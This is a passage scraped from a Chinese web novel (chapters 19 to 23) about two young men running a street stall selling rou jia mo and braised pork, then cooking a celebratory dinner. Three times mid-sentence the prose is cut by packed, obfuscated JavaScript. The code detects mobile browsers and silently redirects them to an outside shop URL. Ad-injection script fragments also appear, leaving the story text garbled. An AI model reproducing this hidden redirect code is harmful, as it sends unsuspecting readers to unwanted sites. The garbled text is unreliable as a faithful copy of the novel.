对此，应望起先没作考虑，因为肉本身就贵，当初为了将价格打下来、让顾客觉得还比较划算，所以才在馅料里加青椒葱花芫荽。现在单独卖肉，那价格得定多少合适？生肉本身价贵，熟肉太低了不划算，太高了顾客肯定不能接受，这个度不太好把握。 但没想到，刚开始他没应承，老李头却不死心，隔三差五的就要问一问，问的应望自己都不好意思了。后来不仅仅是老李头询问，别的顾客陆续也在问，他们都想买肉块回去当一盘菜吃。 应望：？？？ 这事态发展是不是不太对，大家不都喜欢实惠的东西吗？ 缺衣少食那么多年，肉以前买起来更是难上加难，现在买肉方便了不少，人们不是应该哪怕水煮都觉得格外美味吗？ 怎么还有人追求味道？！ 不对劲！ 应望和魏云舒甚至对自己的认知都产生了怀疑，想着他们或许根本不是回到了过去，而是换了个世界生活？不然这思想观念怎么会差那么多呢！ 百思不得其解，应望不得不跟顾客们询问原因，当然，他的态度很自然，就跟聊天似的，一点儿不显得刻意。所以很快，他们知道原因了。 原来想单独买熟肉的顾客并不是一味的追求“味道”，而是想要一个面子，他们想在有重要客人上门或者重要日子的时候买回去撑场面。以跟国营饭店老师傅比起来也不差的手艺做出来的肉味道极好，不论是拿来待客还是用来庆祝都不差，同时自己也能享受到美食，怎么算都不是很亏。 说白了——只是偶尔来一次，那也就没那么心疼了！ 应望知道后：……原来如此。 有了这个理由后，应望总算对这事上心了，也琢磨起了可行度。 现在他们每天清早就起来买菜，然后回来炖肉和面烙饼，中途还能抽空做个早餐，时间并不是很紧。而他们现在每天中午卖的肉夹馍维持在二十个左右，需要用到四斤生肉。张奶奶家的锅大，四斤肉炖着不占多少地方。 换而言之，增加肉的数量是没问题的——卖肉块的客观条件允许。 所以应望就跟魏云舒商量了起来，最后的商量结果也并不出所料——可以试试。 魏云舒问：“你打算准备多少肉来卖？” 这个问题应望也想过了，“先准备五斤。” 魏云舒：“熟肉？” 应望点头，“对。” 经过这么多的肉夹馍卖下来，应望和魏云舒心里都已经有数。一斤生肉煮熟之后大概能有六两到七两的熟肉，掉秤超过三分之一。如果生肉五斤，那也只能得个三斤多点的熟肉，真要是一人一斤的买，也就三个人的份。这未免有点少了，五斤熟肉倒合适一点。 魏云舒想了想，说：“第一天试卖，差不多了。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13477496|141938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 应望笑起来，“那就这么愉快的决定了！” 次日早，魏云舒照例去肉摊买肉，然后一口气买了十二斤五花。 肉摊老板听到这个数量都惊了，“今天怎么买这么多？” 魏云舒说：“想加量试试。” 肉摊老板竖起大拇指，“还是你们有魄力。” 他显然是知道两人合伙做生意的。 魏云舒语气平静，“先试试，还不知道能不能行。” 肉摊老板边下刀边说：“肯定能成，你们那生意太好了。” 魏云舒：“借你吉言。” 利落的买好肉，魏云舒付了钱就带着肉回去了。 周围的摊贩们也看到了魏云舒手里拿的肉，纷纷询问是怎么回事，怎么今天的肉比之前的大那么多，是不是要扩大生意了，还是打算做别的生意？ 大家猜测不断，直到肉摊老板出来说了魏云舒说的话，然后…… “真的要加量？” “那今天去他们小摊上买东西的人岂不是比之前容易了？” “可算是要增量了，我都听好多人说他们俩摊子上的东西太难买了！” “……” 这年头有点消息是捂不住的，何况大家都是在城南这边活动。这么多天下来，应望和魏云舒的生意早就传遍了，菜市场的摊贩们也不可能不知道，对于他们摊子的现状也一清二楚。说实话，很羡慕，羡慕人家生意好，挣的钱多。 但八卦也没少听。 菜市场作为一个八卦集中营，附近买菜的住客们只是过来买趟菜，然后就得知了“肉夹馍摊子今天要加量”这个重磅消息。 顾客们：？！！！！ 终于是要叫他们等到了吗？！ “真的假的？没骗人？” “哪能骗你，菜市场都传遍了，说是人家老板今早买了十多斤肉回去，他亲口跟肉摊老板说的要试试加量！” “哪个老板？” “个子高的那个，大老板！” “哦哦，肉都买了，那就八九不离十了，哈哈哈哈可算是加了，再不加我都要连着六天抢不到肉夹馍了！” “唉，谁说不是呢，没想到这钱想花还花不出去了！” “今天应该能了。” “哈哈哈哈有道理有道理。” “……” 消息如风过境，瞬间人尽皆知。大家怀着满腹期待，早早的来到了南幼南小校门口，等着买今天的肉夹馍，顺便看看小摊是不是真的加量了！ 20. 第 20 章 艳阳高照。 如今的南幼南小校门口可跟刚开始摆摊时的两个摊位不同了，除了卖糖糕和卖冰棍的，还有卖包子馒头的，卖油炸麻花的以及卖粉的。 显然，已经有人发现了校门口的商机。 不过即便如此，供摆摊的位置依旧宽敞。 应望和魏云舒拖着板车一过来就看见了一群站在树荫下纳凉的人。他们中有单纯来接孩子的，也有专程过来买肉夹馍或者卤蛋的，更甚者，还有因为今早的“加量”传言来看热闹的。 两人一出现，立刻有人招手，“小老板，这儿！” 他们还给占了个阴凉的好位置。 魏云舒拉着东西过去。 不等摊子支起来，要买东西的顾客立刻穿插着排队。排在第一的人笑的宛若一朵喇叭花，兴冲冲的问：“两位小老板，听说你们今天加量了？” 应望一愣，哭笑不得的说：“您从哪儿听来的谣言。” 那人笑脸顿时一垮，“假的啊。” “倒也不是。”应望说：“之前不是好多顾客说想要肉夹馍里面的肉单卖嘛，所以今天就准备了些。” 大家惊了，“真的啊？” 应望笑，“真的。” 老李头这回没挤到前头，在后边一听这话立刻急了，“小老板，给我留一斤！” 别的顾客不干了，“嘿，老李头，你说给你留就留啊，得等前面的人买了再说。” 老李头面色一僵，赶忙问：“小老板，今儿准备了多少肉啊？” 应望手上不停的忙活着，嘴里答：“有五斤的样子。” 老李头心下一咯噔，前边这么多人，能轮到他吗？ 不仅仅是老李头，不少人心里都在嘀咕。要知道，这群跟自己抢东西的人在卤肉摊子上每次下手都是至少半斤起步的买！而前头的……应该不是每个人都要称肉吧？ 他们不确定，而那些只想买肉夹馍的人也紧张了起来，“小老板，肉夹馍还卖吗？” 应望说：“卖。” 那人：“里边的肉呢？要是被他们称完了……” “肉夹馍要用的肉我会提前留出来。”应望解释说：“除了肉夹馍的肉，另外我多备了五斤来单卖，不用担心肉夹馍里面没肉。” 闻言，那人的一颗心顿时放回肚子里，夸了句，“老板考虑的周到。” 应望笑笑。 摊子支好，一切东西预备好，魏云舒揭开盆上的盖，露出里面炖金黄油润的肉，询问：“您要什么？” 第一位顾客望着那油滋滋的肉就止不住的咽口水，问：“单买肉多少钱？” 价格来之前应望和魏云舒就商量好了，此时魏云舒直接回答：“五毛钱一两。” 那就是五块钱一斤。 比起一斤五花肉两块五来，这五块钱一斤的熟肉乍一听真的贵，叫人听了就心生退意的那种。 可一斤生肉煮熟只剩六到七两，五块钱的生肉得到一斤三两的熟肉，此外还要用到酱醋盐糖香料柴火人工等一系列的东西，所以算来算去卖五块钱一斤他们也就挣个小一块。 只不过五块钱一斤听着略吓人，所以改成五毛钱一两。 可即便如此，周围不少人还是倒吸口凉气，一两五毛钱？！ 金子做的哇！ 不少人当即就生了退意。 基本都快确定自己今儿买不上肉的老李头听着周围窃窃私语嫌贵的话，心里重新燃起希望：嗯？看来自己还有机会！ 在老李头祈祷之时，第一个顾客就说：“小老板，你们这肉是不是卖的太贵了？五块钱我都能去买两斤上好的五花肉了。” “我们这就是用上好的五花肉做的。”魏云舒解释说：“生肉煮熟之后掉秤严重，何况我们还加了很多其它的东西，杂七杂八算下来都是钱，所以卖五块钱一斤都是成本价。” 应望看了魏云舒一眼，只见他面不改色的，完全不心虚。 不过…… 利润也确实不高就是了。 第一位顾客心说你唬我呢，嘴上说：“就算会掉秤，也不会掉那么多吧。” 魏云舒实话实说，“要掉三四两。” 第一位顾客将信将疑，“真的假的？” “真的。”魏云舒说：“您不信的话可以回去用生肉试试。” 那第一位顾客这下是真的惊了，他平时在家不怎么做饭，哪怕知道生肉会掉秤，但也没想过会掉这么多。 真的假的哦？ 不少人心里都泛起了嘀咕。 不过如果是真的，那这熟肉的价格也不算太贵。 当然，就算知道这一点，他们想起“五毛钱一两，五块钱一斤”这个事依旧觉得心肝颤。 第一位顾客纠结半晌，嘴里的口水都咽了几回，可到底是没舍得那个钱，“给我来两个肉夹馍，其中一个加卤蛋。” 魏云舒倒也不失望，应了声就利落的夹起肉和鸡蛋开剁。 应望则从篮子里拿出两个还热着的饼，用小刀将饼划开，方便魏云舒一会儿往里边装馅料。 排第二的顾客也舍不得买纯肉，他甚至连肉夹馍都没买，而是说：“我要两个鸡蛋，分开装。” 这是单买鸡蛋的，应望猜测他应该是买去哄孩子。嗯，可能还是两个孩子。 心里这般想着，应望手上却很麻利。他快速的捞起两个油亮的鸡蛋，分别装进塑料袋里，一手收钱一手交货。 魏云舒的肉夹馍做好装袋，应望算好账，“承蒙惠顾，一共两块五。” 第一位顾客依依不舍的将眼睛从盆里油滋滋的肉上面收回来，伸手从兜里摸钱之际脚还往旁边挪了挪，给后边的人腾出位置，好方便魏云舒问人家要买什么。 应望和魏云舒一个收钱一个做肉夹馍配合的很完美，出货的速度也很快。 顾客们鼻子使劲嗅着从肉盆里传出来的肉香，伸长了脖子往前看，数数到底还有几个人才能轮到自己。 有相熟的顾客聊着天： “诶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13477497|141938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，那肉你买吗？” “想买。”顿了顿，又说：“但价真不便宜。” “是啊，五毛钱一两，嘶。” 他们舔着嘴巴纠结。 那么香的肉咋可能不想买，可价格是真的贵啊！ 老李头没这个烦恼。说到底，比起所谓的贵，他更在乎浩浩有没有肉吃。那么小的孩子，要是身体真的垮了，可是以后看多少医生吃多少补药都补不回来的。 肉再贵，能有孩子的身子骨贵？ 老李头眼都不眨的盯着前面的人，越盯他心里头越满意，已经过去五个人了，只有一个人买了一斤肉。照这个概率，轮到自己的时候应该还有肉。 想到此处，他紧绷的神经稍稍放松了些，但也没完全放松。 还是得东西真正到手了才能安心！ 老李头等啊等啊，终于排到了他。他感慨说：“你们终于肯单卖这个肉了。” 应望不好意思的说：“之前一直没考虑好，劳您久等了。” 老李头摆摆手，眼睛盯着盆里，“应该还有吧？” 应望回答说：“还剩两斤。” 老李头立刻，“给我称一斤，再来个肉夹馍，加鸡蛋。” 应望应了句好，然后夹了些肉开始称重。 等待的时间老李头就跟应望聊，“这个肉块是只卖今天这一次还是之后都会卖？” 应望说：“能买到肉都会卖。” 老李头顿时心下一松，就怕这个肉块是跟之前的卤鸭似的昙花一现。为了随时没能买上，他还给他们出主意，“你们可以提前跟肉摊老板把肉定下来，这样就不怕没肉了。” 应望将秤往前伸了伸，示意老李头看，嘴里说：“谢谢您的主意，回头就跟肉摊老板商量商量。” 事实上自从之前买不到猪头那次后，他们每天要用的五花肉、一个猪头、两个猪蹄都是跟肉摊老板定好的。要是今天的肉块卖的可以，那他们也会跟肉摊老板把肉定下来。不过人家好心出主意，也就没必要把这些事情说出来了，道谢就行。 老李头自觉了了一桩大事，心里喜滋滋的，付了钱就带着买的东西去校门口接大孙子去了。 应望继续招呼客人。 五花肉块虽然卖的慢一点，可在二十个肉夹馍卖完的时候也卖光了。 当然，整个摊子上卖的最快的是鸡蛋。总共二十个，不到十分钟就全卖了出去，后边有人买肉夹馍想加鸡蛋都没有。 他们叹气说：“鸡蛋买的人多，你们每天多准备点啊。” “家里的锅就那么大，再加不了多少鸡蛋了。”应望脸带歉意，“下午的时候我们会在罐头厂门口卖卤味，那时候有卤鸡蛋卖，您可以买回去尝尝。” 他们哭笑不得，“下午买卤味的人可比这大中午的还多，队更难排啊。” 应望讪笑，“那您赶早。” “唉，还是你们这手艺好，所以大伙都是靠抢的。” “都是大家不嫌弃，照顾我们生意。” 21. 第 21 章 早起买菜，炖肉和面，趁着肉在锅里炖的时间另起小锅做个简单的早餐，而后烙饼，备上中午要卖的二十个肉夹馍和五斤熟五花肉块。 中午卖完回来接着洗猪头猪蹄等物，顺带做个午饭，吃过后趁着炖猪头肉的时间一个人去休息，之后剔猪头大骨，然后卤上猪头肉、猪蹄、鸡蛋、海带片、莲藕片、油豆腐、豆干、花生等一系列的东西，这个时候就换一个人去休息。等全部卤的差不多时，收拾上东西出摊。 出摊卖完卤肉，回家准备晚饭。这一顿通常比较丰盛，大多做干饭的时间多，比早餐午饭的饼、面条、粉、炒饭要费些功夫，搭配上两菜一汤，往往能吃的肚皮溜圆。 ——这就是眼下应望和魏云舒的日常。 忙是真的忙碌，好在两人搭配，干活不累，休息的还算可以，而且钱也确实没少挣。从来时的家徒四壁、样样都缺到如今的不缺衣不缺食，刚需的毛巾、脸盆、肥皂、洗衣粉、牙膏牙刷、床单被褥等等东西也都慢慢的添置齐全。 看着屋子里的东西一点点增多，应望心里有种强烈的满足感。 除此之外，他们还攒了六百多块钱。 没错，除去一切开销花用的，他们手里的现金已经上六百了。 应望再三数过后，笑的眼睛都弯了起来，安全感也很足，至少接下来一段时间他们即便什么都不做也不必再为钱发愁了。 按照之前说的五五分账，应望从中数出六百块，分一半给魏云舒，另一半则自己收着的，剩下的就留作接下来的开销花用。 魏云舒原本想叫应望一块拿着，之后他要用的时候再取。可再一想，凡事都有意外，钱分开放也省的真出事被人家一锅端，所以就将三百块收下了。 分好钱，应望双眼发亮的望着魏云舒提议，“我们庆祝一下吧。” 魏云舒笑，“行啊。” 应望问：“你想吃什么？” “饺子、锅包肉。”魏云舒脱口而出。 应望此时心情好，对于魏云舒的要求当然是要满足的，甚至还问：“还有吗？” 魏云舒说：“最想吃这两样，剩下的你看着来。” 应望笑着说：“行，那剩下的我来。” 应望在心里头琢磨起来。 饺子和锅包肉虽然繁琐一点，但做起来却不难。饺子当主食，锅包肉是荤菜，那可以再调个凉菜解腻，然后炖个汤。 因为要做顿好吃的，下午应望没跟着去卖卤味，就让魏云舒一个人去了，反正他们现在的生意不差，那些卤味要不了多久就能卖完。 应望拿上钱拎着篮子出门。 刚开始应望想着就调个最常见的韭菜鸡蛋、猪肉白菜、酸菜粉条之类的馅料，可到了菜市场却发现有人拎了半桶虾来卖，应望问了价，然后直接把半桶虾都买了下来。 之后又去称了肉、买了一条鱼、嫩玉米、蔬菜之类的东西，将菜篮子装的满满当当，这才带着半桶虾回家。 回到家，先调馅料。 自从摆摊能挣钱后应望和魏云舒的神经就放松了些，吃食上也不会亏待自己。像卖的肉夹馍卤肉这些也都会留一份给自己吃。所以这段时间下来，两人吃的猪肉其实不算少。 像他们刚重生的时候，两个人都瘦的很，尤其是应望，浑身上下只剩一架骨头，丁点儿肉都没有。而现在，他和魏云舒身上都已经长了些肉，精神头看着也比以前好多了。当然，也并不胖，就是普通人水平，没那么穿衣服空落落的打眼了。 因为平时没少吃肉夹馍和卤肉，所以应望干脆不包猪肉的，而是换了个之前还没试过的花样——玉米虾仁和素三鲜。 这两种馅料都比较简单，主打一个“鲜”字。 先去掉虾壳虾线，然后将焯过水的木耳和豆腐、煎好的鸡蛋、部分虾仁、香葱等东西该剁的剁该切的切，随后按照馅料配比加盐、味精、酱油、胡椒粉等调料及少许的油搅拌，馅料就准备的差不多了。 之后开始和面擀饺子皮。 饺子皮才擀好没包几个，应望就听到院子里传来响动声，走到客厅门口一看，果然是魏云舒。 “回来了。”应望招呼一声。 魏云舒将板车停在院子里，抬手擦了一把脸上的汗，“回来了。” 应望举起手里的东西，“我正在包饺子，手里不空，你先收拾下。” 魏云舒点头，“你忙，我来。” 应望：“好。” 因为知道张奶奶这个点儿要用厨房做饭，所以应望弄的这一摊子都是在客厅里。门窗都开着通风，坐里头能清晰听到魏云舒在院子里忙碌的声音。 而应望手底下的动作也不慢。 纯白面擀的饺子皮，一匙馅料往里一包，再用手一捏就是一个圆滚滚白胖胖的饺子。 两种馅料的饺子他是分开放的，这样想吃什么馅的直接下，也不怕弄混了。 等魏云舒在院子里把该洗的洗、该涮的涮好，应望这边也只剩最后几个饺子没包。 魏云舒进来坐下歇会儿，应望手上边忙边跟他聊天，“生意怎么样，忙的过来吗？” 魏云舒说：“生意挺好，就是你不在速度慢了点。” 应望笑，“被说了？” “那倒没有。”魏云舒说：“不过好多人见你今天没去都在问。” 应望问：“那你怎么回答的？” 魏云舒挑眉，“说你在家准备好吃的。” 应望笑起来，“真的假的？” 魏云舒一本正经，“骗你干什么。” 应望看魏云舒的神情也看不出个名堂来，但感觉他应该不会这么直白了当的说，“我怎么不信呢。” 魏云舒问：“那你以为？” 应望说：“我觉得你应该会说我今天有事。” 魏云舒闷头笑了。 应望一看他这反应就知道是自己猜对了。 两人说了会儿话，应望手里的饺子也全包好了。 他站起身，收拾上面用过的面盆案板擀面杖，然后说：“云舒，我买了条鱼，你去把鱼杀了吧，我去洗这些东西。” 魏云舒也歇了的差不多了，“行。” 两人分工合作，速度很快。 魏云舒杀好鱼，见应望又拿着一堆东西到客厅，就问：“这鱼你打算怎么做？” 应望说：“做个鱼丸子。” 鱼丸子这种东西上辈子魏云舒是吃过的，可这辈子在小树村却没这种新鲜花样儿，此时听了话立刻就说：“我来打鱼丸。” “行啊。”魏云舒说：“正好我去把小锅生上，用来炖个鱼汤。” 这条鱼并不是个很大，两斤都不到，不过两个人吃也足够了。魏云舒用刀把肉剔下来，剩下的鱼头鱼骨之类的就被应望拿去炖汤。 先加 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13477498|141938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 层薄薄的底油稍稍煎一下，然后加水盖上锅盖炖。 鱼丸有魏云舒打，应望就去收拾其它的菜。 张奶奶一家的饭每天都很简单，这会儿她已经把今天的晚饭做好了。应望直接带着猪里脊去厨房，然后改刀切成片，加盐、料酒、胡椒粉腌制入味。 趁着腌制的时间，应望在灶里添柴烧上火，张奶奶他们刚用过的锅还是温热的，应望直接倒菜油。 之后磕了两个鸡蛋，加入适量淀粉和水调成糊状，将腌制好的肉片均匀裹上糊，最后放入烧至六七成熟的油里面炸。 油炸香很快蹿出来，刚才喝了两碗粥的刘青和刘芳顿时觉得自己又饿了。 里脊肉炸第一遍，再复炸，直至表面金黄酥脆出油锅。 此时锅里的油还有许多，后世论什么煎炸过后的油不能要，因为不健康。但这个时代是万万不能这么浪费的，应望也舍不得，他用油罐装了一部分出来，锅底只留下适量的，然后加入葱姜蒜爆香，再放入自制的西红柿酱、糖、醋等调料，小火煎熬至浓稠状时倒入炸好的肉片迅速翻炒，等它们均匀的裹上酱汁时出锅。 只闻着这味儿应望就馋了。 恰好此时魏云舒从外进来，“好香。” 应望指着锅包肉笑说：“刚出锅的。” 魏云舒凑过来，“我尝尝。” 有人捧场自己做的菜应望自然很高兴，当即就拿了双筷子给他。 魏云舒迫不及待夹了一块肉，牙齿一碰先是酥脆的口感，接着就是酸甜的滋味直击味蕾，油炸香混合着酱汁的酸甜一点都不腻，只剩下满嘴无与伦比的香。 魏云舒竖了个大拇指，然后用筷子夹了一块给应望，“快试试，你这手艺真是绝了。” 他动作自然，应望也没多想，张开嘴就把递到嘴边的肉吃了。 有点烫，可味道却很丰富，应望自己也觉得很不错。 尝过锅包肉的味道，肚里的馋虫已经彻底被勾了出来。魏云舒放下筷子，说：“鱼汤已经炖的差不多了，丸子我也打好了，还差什么吗？” 应望说：“我现在烧水煮饺子。” 魏云舒转身朝外走，“那我去把饺子端过来。” 应望：“好。” 又往灶里添了两根柴，先舀水把锅洗了，然后加水烧滚。应望揭开锅盖，问：“云舒，有玉米虾仁和素三鲜，你要吃哪种？” 魏云舒惊讶，“你还包了两种馅啊？” 应望说：“顺手。” 魏云舒想了想，“都下一点吧。” 这倒是跟自己想的一样。应望想着，手上却不慢，两种饺子都下了些，足够每人装一海碗。 等饺子熟的时间，魏云舒去把小锅里的鱼骨鱼刺过滤了一遍，然后下鱼丸煮。应望则把晚莴笋切丝，之后用辣椒盐酱醋糖芫荽之类的调了个料汁，一半用来凉拌莴笋丝，一半用来当蘸水吃饺子。 饺子熟了捞起来，加两勺煮鱼丸后剩下的鱼汤，这样汤饺也就好了。 两个人忙活，端菜的端菜拿碗筷的拿碗筷，很快客厅的桌子上就摆了不少。 一份金黄酥脆的锅包肉、一份翠绿清爽的凉拌莴笋丝、一份汤汁浓白的手打鱼丸，一份洗好的鲜枣，两海碗白白胖胖的饺子，外加每人一碟子蘸水，色香味俱全，卖相十足。 两人都已经这么熟了，也没有什么饭前仪式，拿着筷子就开动。 22. 第 22 章 过了鱼汤的水饺一碰嘴就是一味儿鲜美的鱼香，纯白面擀的饺皮带着麦香，紧接着就是木耳虾肉豆腐沫鸡蛋沫混合在一块的鲜，在恰到好处的调料调配下，饺子味道丝毫不显寡淡，只鲜的人恨不得将舌头都吞下去。 一个汤饺下肚，再来一口鱼汤，那滋味简直不要太舒坦。 想吃重口爱吃辣也不必忧虑，调好的蘸水就放在旁边，白胖胖的饺子用筷子夹着往里一蘸，瞬间就能裹上毛毛盐和酱油，红绿相间的辣椒碎与芫荽粒附着在饺子上，竟意外的好看。等入了口，轻微的辣意飞速在口腔跳蹿，倒也别有一番滋味。 不论汤饺蘸饺，应望都爱吃，晚上做梦都不落。 第二天早上睁眼爬起来，魏云舒还在问：“晚上做梦梦好吃的了？” 应望惊奇，“你怎么知道？” 魏云舒笑了，“你睡着了都还在吧唧嘴，一看就是梦里吃好吃的呢。” 应望脸腾的一下红了，有些不好意思，清了清嗓子，他才说：“吵着你了。” “没。”魏云舒说，“刚好醒了。” 应望恨不得这个话题赶快过去，“怎么了，没睡好？” 熟料魏云舒咳了一声。 应望不解。 魏云舒不好意思的说：“昨天晚上吃的有点撑，肚子难受的醒了。” 应望：“……” 他属实没想到。 “现在呢？还难受吗？” “已经没事了。”魏云舒说：“就那一阵，消化了就好了。” 应望放下心，“没事就好。” 魏云舒说：“别担心。” 应望嗯嗯两声，脑子里却又想起了魏云舒说的他吃撑的事情，心想以后有空了还是得多变变做饭的花样，这样云舒等习惯之后也不会再逮着一样新鲜的东西就猛吃。 打定主意，见魏云舒把小锅里煮熟的要卤的鸡蛋捞了起来，原本决定用来水煮的饺子这下也改了吃法，“云舒，昨晚剩的饺子我们做成煎饺吧？” 魏云舒没意见，“行啊，就用小锅做？” “用小锅。”应望把锅里的水拿去倒了，“刚好这锅底部比较平，用来做煎饺也比较方便。” 厨房里的锅大是大，可这年头土灶上的铁锅都是圆形的，平时炒菜炖汤蒸饭的时候还好，烙饼子也略合适，毕竟饼子大，但用来煎小小的饺子就不方便了，它们能直接滚到一堆去，到时候就得“剪不断，理还乱”了。 刚煮完鸡蛋的锅本来就是热的，水分干了后直接倒油铺满锅底，接着用筷子一个个下饺子，小火慢慢的煎两分钟，随后倒上半碗水淀粉，盖上锅盖焖。 锅盖勉强隔绝了味道，等揭开锅盖那一刻能闻到一股浓烈的香味。此时饺皮已经呈现透明感，肉眼能看到里面馅料的颜色，像虾仁、玉米粒的颜色最明显。出锅前撒上一撮芝麻，整个煎饺顿时变得更加好看。 因为锅比较小，一锅也煎不了太多饺子，应望拿了两个碗过来，先给自己和魏云舒分了分。 “云舒，吃饭了！”应望朝厨房喊了声。 魏云舒从里面出来，“好了？” “好了。”应望说：“快尝尝。” 魏云舒手里拿着筷子出来的，眼神一瞥就看到了煎的微焦金黄的饺子。夹起一块，一面麦面软糯微弹、一面则焦脆酥香，是两种完全不同的口感，在轻微油脂的混合下，里面的虾仁与嫩玉米粒又带有一股清甜，是和昨晚上吃的水饺完全不同的感觉。 应望期待的看着他，“感觉怎么样？” 魏云舒毫不犹豫的说：“感觉非常好！” 应望脸上绽露出笑容，“那就好。”不枉他今天特意改了个花样儿。 又是一个煎饺下肚，品尝着嘴里的味道，魏云舒又说：“煎饺跟水饺还真是不一样，明明是一样的馅料一样的饺皮，换个吃法就跟换了种食物一样。” 此时应望已经端着自己的碗吃了，他对自己做的煎饺也很满意。听到魏云舒这么说，就美滋滋的笑了起来，“本来煎饺和水饺也是不太一样的东西，不然人家怎么一个姓煎一个姓水呢。” 魏云舒大笑起来，“你说的非常有道理，妙不可言。” 应望也跟着哈哈笑。 一小锅肯定是不够吃的，而且现在天气热，又没有冰箱能保鲜，已经放了一晚上的饺子要是不抓紧时间吃完，等到中午太阳彻底大起来温度升高，那饺子估计都要放酸了。 因此应望又给煎了些。 吃第二锅的时候刘青刘芳兄妹俩一人背着个小背篓一人拿着个小篮子从外回来，应望就说：“都干了趟活回来了。” 刘芳嗅着空气中这熟悉又不太熟悉的香味，努力压下心中的渴望，抿唇一笑说：“是呢，我和哥哥去挖了些野菜捡了些菌子。” 应望不放心的问：“那些菌子你们都认识吗？以前吃过没？” 刘青放下背篓，“吃过。” 刘芳补充，“每年奶奶都会带我们去捡菌子，还跟我们说了哪种能吃哪种不能吃，我们现在捡的都是能吃的。” 张奶奶教的，还吃过，那应该不是毒蘑菇。应望稍稍放心，但还是叮嘱了句，“有些菌子有毒不能吃，你们捡的时候别捡不认识的。”< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 刘芳点头，“奶奶也这么说。” 应望看他们俩小小的年纪却忙碌的井井有条，恻隐之心骤起，“你们俩吃过了吗？” 刘芳控制不住的咽了口口水。 刘青为兄，到底比刘芳能忍一些，就说：“吃了。” 应望不信，“吃了什么？” 刘青抓了抓自己的衣服下摆，“在山里摘了野果吃。” 白云市虽然是个市，但城外也有不少的山，往些年的时候市里面的人隔三差五的就会去山上偷偷寻摸吃的。刘家生活拮据，日子不好过，张奶奶就会去山上挖野菜摘野果捡蘑菇，要是运气好捡到野鸡蛋野鸭蛋或者摸到一条鱼什么的，那还能给孩子补补身子……总之，勤快些总能补贴家用，让他们不至于饿死。 眼下，应望听了刘青的话却很无奈，一点野果能填什么肚子。他揭开锅盖看了眼，饺皮已经变色了，随便再焖个一分钟就能出锅。 锅盖重新盖好，香味立刻被隔绝掉大半，刘青和刘芳顿时怅然若失。 不过这么些天了，应望和魏云舒因为做生意天天都在炖肉做好吃的，他们天天闻也闻的差不多快习惯了。 正想转身回屋去，却又听应望说：“别站着了，快去洗手，这锅煎饺快好了。” 刘青：“……？” 刘芳瞪大眼。 应望看着他俩，“别傻站着了，快去洗手啊。” 刘青回过神，摇头，“我们不能吃你的东西。” 应望已经有经验了，“你们下午还有别的事没？” 刘芳没反应过来，老老实实的说：“没有。” 他们没读书，每天就是跟着奶奶愁下一顿该吃什么、怎么才能把自己养大，所以要说有什么固定的事情要忙那还真没有。 “那下午你们帮我们干活吧，下午有海带要洗。”应望说：“这顿煎饺就当是你们帮我们干活的工资。” 刘芳狠狠心动了。 刘青也没忍住，这味道太香了，他肚子也早就饿了。 应望佯装困惑，“你们还站着不动是嫌我给的太少了吗？” 刘青刘芳齐刷刷的摇头。 这么香的东西，肯定卖的可贵了，怎么可能嫌少！ 魏云舒此时已经从厨房里拿了两个碗两双筷子出来，应望估摸着时间已经差不多了，就把锅盖揭开，混着浓郁的煎饺香，应望说话的声音都带着一股浓烈的蛊惑意味，“所以快去洗手了过来吃煎饺。” 刘青刘芳就晕乎乎的去了。 煎饺！ 这东西他们以前连听都没听说过！ 23. 第 23 章 刘青和刘芳每人吃了一碗饺子，用数数的话也就五六个，但却吃的满嘴喷香，他们甚至感觉自己连说话的时候都带着一股鲜美的饺子味儿。 俩人心想：这什么煎饺真是他们吃过的最好吃的东西！ 世界上怎么会有这么好吃的东西！ 饺子本来就是昨天晚上剩的，应望和魏云舒又吃了一些，到此包好的饺子已然殆尽。应望见俩小孩还在舔嘴巴，就问：“吃饱了吗？” 刘青说：“饱了。” 饱是饱了，但嘴巴还能吃。当然，刘青是不会这么说的。 刘芳也点头，“够吃啦。” 应望也就没再问。 兄妹俩吃了人家的东西不好意思再叫人家干活，于是很自觉的站起来，一个端碗一个拿筷子想要去洗。 应望拿起小锅到水龙头的位置，对他俩说：“放这吧，我洗就行了。” 刘青不肯，“我来洗。” 应望说：“没事，就这么两个碗，我洗了就行。” 刘青还想说什么，应望又说：“你们不是挖了野菜捡了菌子回来吗？还放在背篓和篮子里，你们不收拾收拾？” 刘青固执的说：“我把碗洗了再去收拾。” 刘芳在边上嗯嗯点头。 应望说：“我洗就好了，你们别把衣服打湿了。” 刘芳睁着一双大眼睛，“不会打湿的，我们会洗碗。” “我们吃了你的东西，就得帮你干活。”刘青认真的说：“而且应哥你刚刚也是这么说的，那些煎饺是我们的工资。” 应望：“……” 